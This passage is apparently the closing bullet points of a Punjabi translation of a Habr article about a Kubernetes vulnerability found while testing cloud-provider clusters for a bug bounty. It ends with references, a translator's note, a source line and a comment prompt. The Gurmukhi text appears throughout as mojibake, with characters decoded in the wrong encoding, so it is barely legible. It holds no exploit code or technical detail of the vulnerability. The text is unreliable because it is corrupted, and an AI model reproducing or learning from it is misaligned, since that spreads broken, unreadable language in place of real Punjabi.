  • เจธเจพเจจเฉ‚เฉฐ เจ•เฉเจฌเจฐเจจเฉ‡เจŸเจธ เจตเจฟเฉฑเจš เจ‡เฉฑเจ• เจ…เฉฐเจฆเจฐเฉ‚เจจเฉ€ เจ•เจฎเจœเจผเฉ‹เจฐเฉ€ เจฆเจพ เจชเจคเจพ เจฒเฉฑเจ—เจพ, เจนเจพเจฒเจพเจ‚เจ•เจฟ เจธเจพเจกเจพ เจ…เจœเจฟเจนเจพ เจ•เจฐเจจ เจฆเจพ เจ•เฉ‹เจˆ เจ‡เจฐเจพเจฆเจพ เจจเจนเฉ€เจ‚ เจธเฉ€เฅค
  • เจ…เจธเฉ€เจ‚ เจตเฉฑเจ–-เจตเฉฑเจ– เจ•เจฒเจพเจ‰เจก เจชเฉเจฐเจฆเจพเจคเจพเจตเจพเจ‚ เจฆเฉ‡ เจ•เจฒเฉฑเจธเจŸเจฐเจพเจ‚ 'เจคเฉ‡ เจตเจพเจงเฉ‚ เจตเจฟเจธเจผเจฒเฉ‡เจธเจผเจฃ เจ•เฉ€เจคเฉ‡ เจ…เจคเฉ‡ เจตเจพเจงเฉ‚ เจธเจผเจพเจจเจฆเจพเจฐ เจฌเฉ‹เจจเจธ เจชเฉเจฐเจพเจชเจค เจ•เจฐเจจ เจฒเจˆ เจ•เจฎเจœเจผเฉ‹เจฐเฉ€ เจ•เจพเจฐเจจ เจนเฉ‹เจ เจจเฉเจ•เจธเจพเจจ เจจเฉ‚เฉฐ เจตเจงเจพเจ‰เจฃ เจฆเฉ‡ เจฏเฉ‹เจ— เจนเฉ‹เจเฅค
  • เจคเฉเจนเจพเจจเฉ‚เฉฐ เจ‡เจธ เจฒเฉ‡เจ– เจตเจฟเฉฑเจš เจฌเจนเฉเจค เจธเจพเจฐเฉ‡ เจคเจ•เจจเฉ€เจ•เฉ€ เจตเฉ‡เจฐเจตเฉ‡ เจฎเจฟเจฒเจฃเจ—เฉ‡เฅค เจธเจพเจจเฉ‚เฉฐ เจคเฉเจนเจพเจกเฉ‡ เจจเจพเจฒ เจ‰เจนเจจเจพเจ‚ เจฌเจพเจฐเฉ‡ เจšเจฐเจšเจพ เจ•เจฐเจจ เจตเจฟเฉฑเจš เจ–เฉเจธเจผเฉ€ เจนเฉ‹เจตเฉ‡เจ—เฉ€ (เจŸเจตเจฟเฉฑเจŸเจฐ: @ เจฐเฉ€เจตเจฐเจœเจผเฉˆเจ•เจธ & @__hach_).
  • เจ‡เจน เจชเจคเจพ เจšเจฒเจฟเจ† เจ•เจฟ เจธเจพเจฐเฉ€เจ†เจ‚ เจ•เจฟเจธเจฎเจพเจ‚ เจฆเฉ€เจ†เจ‚ เจฐเจธเจฎเจพเจ‚ เจ…เจคเฉ‡ เจฐเจฟเจชเฉ‹เจฐเจŸเจฟเฉฐเจ— เจตเจฟเฉฑเจš เจ‰เจฎเฉ€เจฆ เจจเจพเจฒเฉ‹เจ‚ เจฌเจนเฉเจค เจœเจผเจฟเจ†เจฆเจพ เจธเจฎเจพเจ‚ เจฒเฉฑเจ—เจฟเจ†เฅค

เจนเจตเจพเจฒเฉ‡

เจ…เจจเฉเจตเจพเจฆเจ• เจคเฉ‹เจ‚ เจชเฉ€.เจเจธ

เจธเจพเจกเฉ‡ เจฌเจฒเฉŒเจ— 'เจคเฉ‡ เจตเฉ€ เจชเฉœเฉเจนเฉ‹:

เจธเจฐเฉ‹เจค: www.habr.com

เจ‡เฉฑเจ• เจŸเจฟเฉฑเจชเจฃเฉ€ เจœเฉ‹เฉœเฉ‹